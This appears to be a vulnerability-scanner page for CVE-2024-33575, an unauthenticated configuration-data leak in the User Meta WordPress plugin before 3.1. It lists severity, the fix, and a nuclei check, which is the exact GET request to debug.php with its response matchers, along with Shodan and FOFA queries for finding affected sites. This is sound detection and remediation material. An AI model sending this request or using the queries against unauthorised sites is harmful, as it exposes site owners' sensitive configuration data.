User Meta WP Plugin < 3.1 - Sensitive Information Exposure

mediumseverity

5.3CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

The User Meta is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0 via the /views/debug.php file. This makes it possible for unauthenticated attackers, with to extract sensitive configuration data.

Impact

Unauthenticated attackers can extract sensitive configuration data from the User Meta plugin.

Fix

Update User Meta plugin to version 3.1 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/user-meta/views/debug.php
Positive when: status_code == 200 and contains(body, "um-debug<br/>")

Run it with nuclei: nuclei -id CVE-2024-33575 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-33575

info:
  name: User Meta WP Plugin < 3.1 - Sensitive Information Exposure
  author: s4e-io
  severity: medium
  description: |
    The User Meta is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0 via the /views/debug.php file. This makes it possible for unauthenticated attackers, with to extract sensitive configuration data.
  impact: |
    Unauthenticated attackers can extract sensitive configuration data from the User Meta plugin.
  remediation: |
    Update User Meta plugin to version 3.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33575
    - https://wpscan.com/vulnerability/3b75549c-3fc5-4e6f-84ae-264d8276bfb3/
    - https://patchstack.com/database/vulnerability/user-meta/wordpress-user-meta-plugin-3-0-sensitive-data-exposure-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-33575
    cwe-id: CWE-200
    epss-score: 0.01121
    epss-percentile: 0.66465
  metadata:
    max-request: 1
    vendor: "User Meta"
    product: "User Meta"
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/user-meta/"
    fofa-query: "body=/wp-content/plugins/user-meta/"
    publicwww-query: "/wp-content/plugins/user-meta/"
  tags: wpscan,cve,cve2024,user-meta,wordpress,wp-plugin,info-leak,User Meta,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/user-meta/views/debug.php"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "um-debug<br/>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from